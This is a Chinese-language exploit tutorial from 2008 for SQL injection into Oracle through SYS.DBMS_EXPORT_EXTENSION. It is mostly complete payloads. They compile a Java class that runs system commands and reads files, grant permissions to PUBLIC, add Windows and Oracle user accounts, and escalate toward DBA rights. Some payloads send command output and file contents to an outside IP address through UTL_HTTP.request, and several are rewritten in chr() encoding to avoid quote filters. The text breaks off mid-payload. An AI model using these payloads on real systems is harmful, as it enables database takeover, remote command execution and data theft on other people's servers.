<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />create or replace and compile java source named &quot;LinxUtil&quot; as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(<br />new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return e.toString();}}<br />}'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>)</p>
<p>************</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />create or replace and compile java source named &quot;LinxUtil&quot; as import java.io.*;import java.net.URL; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(<br />new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(filename.startsWith(&quot;http&quot;)?new InputStreamReader(new URL(filename).openStream()):new FileReader(filename));<br />String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return e.toString();}}<br />}'''';END;'';END;--','SYS',0,'1',0) from dual<br />***************</p>
<p>------------------------<br />如果url有长度限制，可以把readFile()函数块去掉，即：<br />/xxx.jsp?id=1 and '1'&lt;&gt;'a'||(</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />create or replace and compile java source named &quot;LinxUtil&quot; as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(<br />new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return e.toString();}}<br />}'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>)</p>
<p>同时把后面步骤 提到的 对readFile()的处理语句去掉。<br />------------------------------</p>
<p>2.赋Java权限</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''&lt;&lt;ALL FILES&gt;&gt;'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>3.创建函数</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />create or replace function LinxRunCMD(p_cmd in varchar2)&nbsp; return varchar2&nbsp; as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';&nbsp;&nbsp; '''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />create or replace function LinxReadFile(filename in varchar2)&nbsp; return varchar2&nbsp; as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';&nbsp;&nbsp; '''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>4.赋public执行函数的权限</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>5.测试上面的几步是否成功</p>
<p>and '1'&lt;&gt;'11'||(<br />select&nbsp; OBJECT_ID from all_objects where&nbsp; object_name ='LINXRUNCMD'<br />)</p>
<p>and '1'&lt;&gt;(<br />select&nbsp; OBJECT_ID from all_objects where&nbsp; object_name ='LINXREADFILE'<br />)</p>
<p>6.执行命令：</p>
<p>/xxx.jsp?id=1 and '1'&lt;&gt;(<br />select&nbsp; sys.LinxRunCMD('cmd /c net user linx /add') from dual<br />)</p>
<p>/xxx.jsp?id=1 and '1'&lt;&gt;(<br />select&nbsp; sys.LinxReadFile('c:/boot.ini') from dual<br />)</p>
<p>注意sys.LinxReadFile()返回的是varchar类型，不能用&quot;and 1&lt;&gt;&quot; 代替 &quot;and '1'&lt;&gt;&quot;。<br />如果要查看运行结果可以用 union :</p>
<p>/xxx.jsp?id=1 union select&nbsp; sys.LinxRunCMD('cmd /c net user linx /add') from dual</p>
<p>或者UTL_HTTP.request(:</p>
<p>/xxx.jsp?id=1 and '1'&lt;&gt;(<br />SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual<br />)</p>
<p>/xxx.jsp?id=1 and '1'&lt;&gt;(<br />SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual<br />)</p>
<p>注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。</p>
<p>--------------------</p>
<p>6.内部变化<br />通过以下命令可以查看all_objects表达改变：<br />select&nbsp; * from all_objects where&nbsp; object_name like '%LINX%' or&nbsp; object_name like '%Linx%'</p>
<p>7.删除我们创建的函数<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />drop function LinxRunCMD&nbsp; '''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>====================================================<br />全文结束。谨以此文赠与我的朋友。</p>
<p>linx<br />124829445<br />2008.1.12<br />linyujian@bjfu.edu.cn</p>
<p>======================================================================</p>
<p>测试漏洞的另一方法：</p>
<p>创建oracle帐号：<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('F<br />
OO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>即：<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),<br />chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual</p>
<p>确定漏洞存在：<br />1&lt;&gt;(<br />select user_id from all_users where username='LINXSQL'<br />)</p>
<p>给linxsql连接权限：<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>删除帐号：<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>======================</p>
<p>以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值&quot;1&quot;，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：</p>
<p>1.jsp?id=1 and '1'&lt;&gt;(<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;&nbsp; end;&nbsp;&nbsp; '''';END;'';END;--','SYS',0,'1',0) from dual<br />) and ...</p>
<p>1.jsp?id=1 and '1'&lt;&gt;(<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual<br />) and ...</p>
<p>1.jsp?id=1 and '1'&lt;&gt;(<br />SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL<br />) and ...</p>
<p>1.jsp?id=1 and '1'&lt;&gt;(<br />SELECT sys.Linx_Query('declare pragma<br />autonomous_transaction; begin execute immediate ''<br />select 1 from dual<br />''; commit; end;') from dual<br />) and ...</p>
<p>多语句：<br />SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual</p>
<p>创建用户(除非当前用户有system权限，否则无法成功)：<br />SELECT sys.Linx_Query('declare pragma<br />autonomous_transaction; begin execute immediate ''<br />CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User<br />''; commit; end;') from dual</p>
<p>================<br />以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()</p>
<p>1.创建函数<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />create or replace function Linx_Query (p<br />varchar2) return number authid current_user is begin execute immediate<br />p; return 1;&nbsp; end;&nbsp;&nbsp; '''';END;'';END;--','SYS',0,'1',0) from dual;</p>
<p>如果有权限，以下语句应该运行正常<br />select sys.linx_query('select 1 from dual') from dual;</p>
<p>不然的话运行：</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>2.创建包<br />SELECT sys.Linx_Query('declare pragma<br />autonomous_transaction; begin execute immediate ''<br />create or replace and compile java source named &quot;LinxUtil2&quot;&nbsp;&nbsp; as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(<br />new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );&nbsp; String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;return str;}}''; commit; end;') from dual</p>
<p>3.创建函数<br />SELECT sys.Linx_Query('declare pragma<br />autonomous_transaction; begin execute immediate ''<br />create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual</p>
<p>4.给权限<br />给用户SYSTEM执行权限：</p>
<p>SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''&lt;&lt;ALL FILES&gt;&gt;'', ''execute'' );end;') from dual</p>
<p>5.执行函数<br />select RunCMD2('cmd /c dir') from dual</p>
<p>==================<br />================================</p>
<p>以下是无 &quot; ' &quot; 版：</p>
<p>以下是各个步骤：</p>
<p>1.创建包<br />通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：<br />因为建立了两个函数，转换为ascii后，语句更长了，注意提交时不要把换行去掉，否则执行不成功的：</p>
<p>/xxx.jsp?id=1 and chr(49)&lt;&gt;chr(50)||(</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),<br />chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||<br />chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||<br />chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||<br />chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr<br />
(32)||chr(114)||chr(101)||chr(112)||<br />chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||<br />chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||<br />chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||<br />chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||<br />chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||<br />chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||<br />chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||<br />chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||<br />chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||<br />chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||<br />chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||<br />chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||<br />chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||<br />chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||<br />chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||<br />chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||<br />chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||<br />chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||<br />chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||<br />chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||<br />chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||<br />chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||<br />chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||<br />chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)<br />,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual</p>
<p>)</p>
<p>------------------------------</p>
<p>2.赋Java权限<br />/xxx.jsp?id=1 and chr(49)&lt;&gt;chr(50)||(</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),<br />chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||<br />chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||<br />chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||c<br />
hr(69)||chr(67)||chr(85)||<br />chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||<br />chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||<br />chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||<br />chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||<br />chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||<br 